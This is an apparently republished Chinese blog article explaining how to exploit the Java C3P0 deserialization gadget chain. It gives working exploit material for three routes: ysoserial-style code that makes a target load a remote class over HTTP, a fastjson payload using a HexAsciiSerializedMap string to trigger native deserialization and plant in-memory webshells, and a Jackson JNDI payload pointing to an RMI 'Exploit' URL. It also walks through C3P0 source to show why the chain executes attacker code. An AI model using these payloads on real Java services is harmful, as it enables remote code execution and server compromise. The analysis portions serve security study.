温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Java C3P0链怎么用

发布时间:2022-01-30 14:35:13 来源:亿速云 阅读:145 作者:iii 栏目:开发技术

这篇“Java C3P0链怎么用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java C3P0链怎么用”文章吧。

    0x00 前言

    在一些比较极端情况下,C3P0链的使用还是挺频繁的。

    0x01 利用方式

    利用方式

    在C3P0中有三种利用方式

    • http base

    • JNDI

    • HEX序列化字节加载器

    在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

    http base使用

    使用也很简单,可以直接使用yso生成数据进行发送到服务端,然后加载到指定的远程类。

    public class test1 {
        public static void main(String[] args) throws Exception {
            C3P0 c3P0 = new C3P0();
            Object object = c3P0.getObject("http://127.0.0.1:80/:exp");
    
            byte[] serialize = Serializer.serialize(object);
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
    
        }
    }

    Java C3P0链怎么用

    0x02 C3P0分析

    构造分析

    public Object getObject ( String command ) throws Exception {
            int sep = command.lastIndexOf(':');
            if ( sep < 0 ) {
                throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
            }
    
            String url = command.substring(0, sep);
            String className = command.substring(sep + 1);
            PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
            Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
            return b;
        }
        private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
    
            private String className;
            private String url;
    
            public PoolSource ( String className, String url ) {
                this.className = className;
                this.url = url;
            }
    
            public Reference getReference () throws NamingException {
                return new Reference("exploit", this.className, this.url);
            }
    
           ......
        }

    代码比较简单,反射创建了一个PoolBackedDataSource实例对象,然后反射将connectionPoolDataSource的值设置为PoolSource类的实例,传递classNameurl参数。即我们传入的远程地址和类名。

    在序列化的时候会去调用我们的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

    Java C3P0链怎么用

    这行代码走到了catch代码块里面,因为我们传入的this.connectionPoolDataSourcePoolSource类是不可被序列化的。

    继续走到下面代码来看。

    Java C3P0链怎么用

     public IndirectlySerialized indirectForm(Object var1) throws Exception {
            Reference var2 = ((Referenceable)var1).getReference();
            return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
        }

    调用我们传递的this.connectionPoolDataSourcegetReference();方法。来获取到一个Reference这也是前面为我们要重写这个方法的原因。

    实例ReferenceIndirector.ReferenceSerialized将刚刚获取的Reference传递进去。

    Java C3P0链怎么用

    Java C3P0链怎么用

    利用分析

    反序列化入口为com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

    Java C3P0链怎么用

    调用readObject内部会调用ReferenceIndirector.getObject()

    Java C3P0链怎么用

    Java C3P0链怎么用

    Java C3P0链怎么用

    Class.forName ,如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。

    把代码抠出来测试一下

    ClassLoader var6 = Thread.currentThread().getContextClassLoader();
            URL var8 = new URL("http://127.0.0.1:80");
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
            Class var12 = Class.forName("exp", true, urlClassLoader);

    Java C3P0链怎么用

    跟踪了一下forName0native修饰的内部使用C/C++实现无法进行查看。

    来看到官方的讲解。

    Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

    翻译大概的意思就是返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果initalize这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。

    也就是说我们的exp会被初始化,执行我们static代码块中的恶意代码。

    官方说明

    HEX序列化字节加载器

    {"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

    在fj反序列化userOverridesAsString调用settingsetter传入以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

    Java C3P0链怎么用

    来看到调用流程。下面调用到这里

     this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

    一路跟踪来到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

     public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
            if (userOverridesAsString != null) {
                String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
                byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
                return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
            } else {
                return Collections.EMPTY_MAP;
            }
        }

    HexAsciiSerializedMap中内容提取出来进行反序列化

    Java C3P0链怎么用

    JNDI利用

     public static void main(String[] args) throws IOException, JsonProcessingException {
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }

    jackson和fastjson特性一样会调用setter,这里利用的是JndiRefDataSourceBase中的setjndiName

    以上就是关于“Java C3P0链怎么用”这篇文章的内容,相信大家都有了一定的了解,希望小编分享的内容对大家有帮助,若想了解更多相关的知识内容,请关注亿速云行业资讯频道。

    向AI问一下细节

    免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

    AI